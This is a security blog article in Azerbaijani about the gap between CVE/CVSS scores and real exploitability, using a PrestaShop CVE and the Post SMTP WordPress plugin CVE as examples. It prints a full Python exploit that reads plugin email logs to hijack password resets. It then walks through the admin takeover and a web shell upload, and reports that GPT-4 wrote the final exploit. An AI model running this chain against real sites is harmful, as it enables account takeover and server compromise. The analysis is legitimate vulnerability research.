CVE-lər ilə bağlı problemlər

Posted on Nov 15, 2024

Huseyn Gadashov

Məqalə xüsusi olaraq xakep.ru üçün yazılmışdır.

Məqalənin Mündəricatı

Növbəti CVE-yə baxdığımızda ilk növbədə nəyə diqqət yetiririk? Doğrudur, təhlükə səviyyəsinə, yəni CVSS qiymətləndirməsinə. Lakin bəzən bu rəqəm real təhlükə ilə uyğun gəlmir. Bu məqalədə nümunələrlə bu cür halları göstərəcəyəm və həmçinin CVE ilə bağlı digər problemləri müzakirə edəcəyik.

CVE nədir?

CVE (Common Vulnerabilities and Exposures, “ümumi zəifliklər və ifşalar”) proqram təminatı və avadanlıqdakı zəifliklərin standartlaşdırılmış və açıq lüğətidir. Onu ABŞ-da Milli Standartlar və Texnologiya İnstitutu (NIST) idarə edir. CVE-nin əsas məqsədi zəiflikləri müzakirə etmək və proqramlarda onlarla işləmək üçün ümumi dil təmin etməkdir. CVE dünya üzrə istifadə olunur və informasiya təhlükəsizliyi mütəxəssisləri, tədarükçülər və tədqiqatçılar arasında qarşılıqlı əlaqəni daha effektiv edir.

CVSS nədir?

CVSS (Common Vulnerability Scoring System, “ümumi zəiflik qiymətləndirmə sistemi”) daha bir vacib alətdir. O, insidentlərə və təhlükəsizliyə reaksiya verən qrupların forumu (FIRST) tərəfindən NIST ilə əməkdaşlıqda hazırlanıb. CVSS zəifliklərə təhdid dərəcəsini ifadə edən ədədi bal təyin etməyə imkan verən standartlaşdırılmış qiymətləndirmə metodudur.

CVSS-in əsas faktorları

Bazis balı zamanla dəyişməyən zəifliyin fundamental atributlarına əsaslanır. Burada əsas metrikalar nəzərə alınır:

  • Hücum vektoru (Attack Vector, AV);
  • Hücumun mürəkkəbliyi (Attack Complexity, AC);
  • Tələb olunan imtiyazlar (Privileges Required, PR);
  • İstifadəçi ilə qarşılıqlı əlaqə (User Interaction, UI);
  • Sahə (Scope, S);
  • Təsir metrikaları:
    • Məxfilik təsiri (Confidentiality Impact, C),
    • Bütövlük təsiri (Integrity Impact, I),
    • Mövcudluq təsiri (Availability Impact, A).

Zəifliyin zəiflik hesab edilməsi üçün ən azı CIA üçlüyünün bir aspektini pozması lazımdır.

CVE-ləri analiz edərkən mən üç əsas problemlə rastlaşıram:

  • Exploit-ləri olmayan CVE-lər;
  • İşləməyən exploit-ləri olan CVE-lər;
  • Şişirdilmiş qiymətləndirmə.

Mənim mövzum veb-zəifliklərdir, buna görə də nümunələri bu sahədən gətirəcəyəm. Lakin oxşar problemlər digər sahələrə də aid ola bilər.

CVE-2023-39526: PrestaShop-da “zəiflik”

Birinci və üçüncü problemə yaxşı nümunə CVE-2023-39526, PrestaShop veb-tətbiqindəki zəiflikdir. Burada iki qiymətləndirmə görürük: NIST 9.8 qiymətini verib, GitHub isə 9.1.

Niyə qiymətləndirmələr fərqlidir? İki fərq var: NIST-də tələb olunan imtiyazlar “Heç biri” (None) kimi göstərilib, GitHub-da isə “Yüksək” (High); NIST-də sahə “Dəyişməz” (Unchanged) kimi qeyd edilib, GitHub-da isə “Dəyişmiş” (Changed) seçilib.

“Tələb olunan imtiyazlar” bölməsi, zəifliyin istismar edilməsi üçün hücum edənin hansı imtiyazlara malik olmalı olduğunu göstərir. Sahə isə, zəiflik istismar edildikdən sonra hücum edənin hər hansı formada imtiyazları yüksəldə bilib-bilməyəcəyini müəyyən edir. İmtiyazların yüksəldilməsi altında mən təkcə istifadəçidən administratora keçidi deyil, həm də sistemdə daha geniş giriş əldə etməyi nəzərdə tuturam, məsələn, veb-tətbiqdən serverə.

Beləliklə, zəif məhsulu quraşdırdım. “Zəifliyin” olduğu funksiyaya giriş üçün administrator olmaq lazımdır, buna görə də tələb olunan imtiyazlar yüksəkdir. Zəifliyin özü Uzaqdan Kod İcra etmə (Remote Code Execution, RCE) təşkil edir, SQL inyeksiyası deyil. PrestaShop SQL Manager-i daxil edir, buna görə də SQL Manager-i hər hansı bir aşma texnikası olmadan SQL inyeksiyası haqqında məlumat vermək düzgün deyil.

İndi patch-ə baxaq.

Patch-də DUMPFILEOUTFILE sorğuları RequestSql.php faylında qara siyahıya əlavə edilib, Db.php faylında isə sorğuda onların olub-olmamasına əlavə yoxlama əlavə olunub. Əgər varsa, proqram PrestaShopDatabaseException istisnası verəcək.

Buradakı problem ondadır ki, bu SQL sorğuları mütləq INTO ilə istifadə olunmalıdır. INTO artıq qara siyahıda yerləşir, beləliklə, texniki olaraq zəiflik yoxdur; bu sadəcə yaxşı təcrübədir. CIA üçlüyünün heç bir aspekti pozulmur, çünki DUMPFILEOUTFILE istifadə etmək mümkün deyil. Bu “zəifliyin” qiyməti 0 olmalıdır.

CVE-2023-6875: Post SMTP Mailer-də xəta

Yaxınlarda mən maraqlı bir xəbər tapdım: “WordPress-də 150 000 sayt Post SMTP Mailer plaqindəki xətalara görə təhlükədədir”. Amma əslində bu zəiflik istismar olunmur, çünki ictimai exploit düzgün işləmir.

WordPress, məzmun idarəetmə sistemidir ki, dərin texniki biliklərə malik olmadan saytlar yaratmağa imkan verir. W3Techs-ə görə, internetdəki bütün veb-saytların 43,1%-i WordPress-də yaradılıb. Bəzi media və hökumət saytları da onda işləyir. WordPress üçün çoxlu plaqinlər var, bəziləri çox məşhurdur.

Post SMTP Plugin WordPress-ə elektron poçtların göndərilməsi ilə bağlı yeni funksiyalar əlavə edir. Onun 11 milyon quraşdırması var, onlardan 300 mindən çoxu aktivdir.

Mən bu CVE üçün ictimai exploit-in mövcud olub-olmadığını yoxlamaq qərarına gəldim və birini tapdım. Onu Ulysses Saicha (@UlyssesSaicha) dərc edib, zəiflik haqqında hesabat yazan tədqiqatçı Sean Murphy ilə birlikdədir. Exploit GitHub-da mövcuddur. O belə görünür:

import requests
url = "http://localhost:10115" # Bunu dəyişdirin
# fcm tokenini təyin edin
print("FCM Tokenini təyin edirik")
request_url = f"{url}/wp-json/post-smtp/v1/connect-app"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice", "Content-Type": "application/x-www-form-urlencoded"}
requests.post(request_url, headers=request_headers)
# parol sıfırlama
user_login = input("Parolun sıfırlanması üçün istifadəçi adı: ")
print("Parolun sıfırlanmasına cəhd edilir")
request_url = f"{url}/wp-login.php?action=lostpassword"
request_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}/wp-login.php?action=lostpassword", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
request_data = {"user_login": "admin", "redirect_to": '', "wp-submit": "Get New Password"}
requests.post(request_url, headers=request_headers, data=request_data)
# loglar arrayını əldə edirik
print("Bütün elektron poçt logları əldə edilir")
request_url = f"{url}/wp-json/post-smtp/v1/get-logs"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
r = r.json()
print("Elektron poçt logları: ")
for log in r["data"]:
    print(f"Id: {log['id']}, Mövzu: {log['original_subject']}, Alıcı: {log['to_header']}")
email_id = input("Baxmaq üçün elektron poçt ID-sini seçin: ")  # Eyni test mühitində başqa elektron poçtlar da ola bilər, ona görə seçməyi xahiş edin
# elektron poçt məlumatlarını görmək
request_url = f"{url}/wp-admin/admin.php?access_token=HelloWordfence&type=log&log_id={email_id}"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
print(r.text)

Bu kod "fcm-token": "HelloWordfence", "device": "FakeDevice" başlıqları ilə /wp-json/post-smtp/v1/connect-app ünvanına sorğu göndərir və “HelloWordfence” tokenini təyin edir. Sonra exploit istifadəçi adı soruşur, amma cavabdan asılı olmayaraq “admin” adından istifadə edir, bu da düzgün deyil. Sonra kod parolun sıfırlanması sorğusu göndərir, bundan sonra sayt elektron poçtla link göndərir.

Nəticədə skript birinci sorğuda təyin olunan token ilə /wp-json/post-smtp/v1/get-logs ünvanından bütün logları əldə etməyə çalışır və sonra maraqlandığımız logun identifikatorunu soruşur.

Zəifliyin özü maraqlıdır və onu tapan tədqiqatçılara böyük təşəkkür. Lakin exploit-ə gəldikdə, istifadəçi adı sorğulandığı (və istifadə edilmədiyi) problemi istisna etməklə, sanki nəsə çatışmır. Nə çatışdığını anlamaq üçün özümüzə sual verməliyik: “Necə administrator olmaq olar?”, “Parolun sıfırlanması üçün istifadəçi adını necə bilmək olar?”, “Necə shell əldə etmək olar?”

Məktəbdə oxuyarkən, fizika dərslərindəki sualların çoxu vakuumda vəziyyətlə bağlı idi. Kiber təhlükəsizlikdə biz bunu mühit adlandırırıq. Hətta exploit mühitimizdə mükəmməl işləsə də, bu, real hədəflərdə də eyni işləyəcəyini ifadə etmir. Ona görə də bu suallara cavab verən prosesi izah edəcəyəm və ChatGPT-nin köməyi ilə “bum-bum” exploit yazacağam. WordPress-i qurub zəif olan Post SMTP 2.8.6 versiyasını quraşdırdım.

Administratorun istifadəçi adı nədir?

Məntiqi olaraq düşünmək olar ki, administrator ilk qeydiyyatdan keçmiş istifadəçidir, ona görə də /wp-json/wp/v2/users/1 ünvanına sorğu göndərsək, administratorun istifadəçi adını görməliyik. Bəzi hallarda JSON interfeysinə giriş mümkün deyil və bəzən bu ilk istifadəçi deyil. Əgər JSON API-ya giriş yoxdursa, exploit istifadəçi adı kimi “admin” istifadə etməlidir.

Mənim vəziyyətimdə ad “tuktuk"dur, amma həqiqi istifadəçi adı “kali"dir. Deməli, exploit slug dəyərini analiz etməlidir.

Parolu unutmuşuq

Mən test mühitimdə SMTP quraşdırmamışam, buna görə də parolun sıfırlanmasını istifadəçi adı ilə etdikdə, elektron poçt göndərilmir, amma göndərilməyən poçtun logu saxlanılır. Logda elektron poçtu kimin göndərdiyi, kiminə göndərildiyi və ya göndərilmədiyi, tarixi və elektron poçtun məzmunu var. Elektron poçtun içərisində parolun sıfırlanması üçün link var.

Elektron poçt jurnalları

Mən token təyin etmək, logları əldə etmək və parolun sıfırlanması üçün linki ehtiva edən sonuncu logu çıxarmaq üçün sorğular göndərdim.

Mən parolun sıfırlanması üçün link olan logu görmək istəyirəm — nömrə 154.

Parolun dəyişdirilməsi

Parolun sıfırlanması üçün bir neçə dəfə daha sorğu göndərdim və indi 158 nömrəli loga baxıram.

Parolun sıfırlanması linkini açdıqda, wp-resetpass-md5(URL)=:key formatında kuki alıram, mənim vəziyyətimdə o belə görünür:

wp-resetpass-86a9106ae65537651a8e456835b316ab=kali:GJbWFvh1nOj8GFg643x9

Burada 86a9106ae65537651a8e456835b316abhttp://localhost/ ünvanının MD5 heşidir, GJbWFvh1nOj8GFg643x9 isə linkdən parolun sıfırlanması üçün açardır. Bu məlumatlar bizə xüsusi lazım deyil, çünki skript kukiləri pars edəcək, amma heşin nə olduğunu bilmək yaxşıdır.

Parolun sıfırlanması zamanı həm kuki, həm də açar mövcud olmalıdır.

Shell yükləmək

İndi etməli olduğumuz tək şey sistemə daxil olmaq və shell-i ehtiva edən zip faylını yükləməkdir. Mənim vəziyyətimdə bu 1.zip faylıdır.

Sorğumuzda nonce, referer, fayl adı və məzmunu var.

Aydındır ki, bizim fayl plaqin deyil, buna görə o, /wp-content/upgrade/1 qovluğunda saxlanacaq.

İndi bizim shell-imiz var.

GPT ilə bum-bum exploit

Mən proqramçı deyiləm və proqramlaşdırmanı yaxşı bilmirəm, amma bu o demək deyil ki, ingilis dilini oxuya və səhvləri düzəldə bilmirəm. Exploit GPT-4-ün köməyi ilə Go-da yazılıb.

Bu exploit nə edir:

  1. Poçtları görməyə imkan verən token təyin edir.
  2. Administratorun istifadəçi adını tapır, tapa bilməsə, defolt olaraq “admin” təyin edir.
  3. Parolun sıfırlanması üçün link istəyir, beləliklə poçt adminə gedir.
  4. Birinci addımda təyin etdiyi tokeni götürür və poçt loglarına baxır.
  5. Parolun sıfırlanması linkini ehtiva edən sonuncu logu götürür.
  6. Beşinci addımda əldə edilən link vasitəsilə parolu sıfırlayır.
  7. Administrator kimi daxil olur.
  8. Shell yükləyir (shell.zip faylı, içərisində shell var).

Kodu GitHub-dakı repozitoriyamda tapa bilərsiniz, demonstrasiya videosu isə Imgur-dadır.

Nəticələr

Beləliklə, biz iki halı təhlil etdik, hansı ki, CVE-nin olması hələ zəifliyin götürülüb istismar edilə biləcəyini ifadə etmir. Birinci halda istismar prinsipcə mümkün deyil, çünki zəiflik “boşluqdur”. İkinci halda zəiflik maraqlı çıxdı, amma işləyən exploit yox idi. Mən zəifliyin prinsipini anlayaraq öz exploit-imi necə yaza biləcəyimi göstərdim və proqramlaşdırmanı tamamilə süni intellektə yükləməyin mümkün olduğunu göstərdim.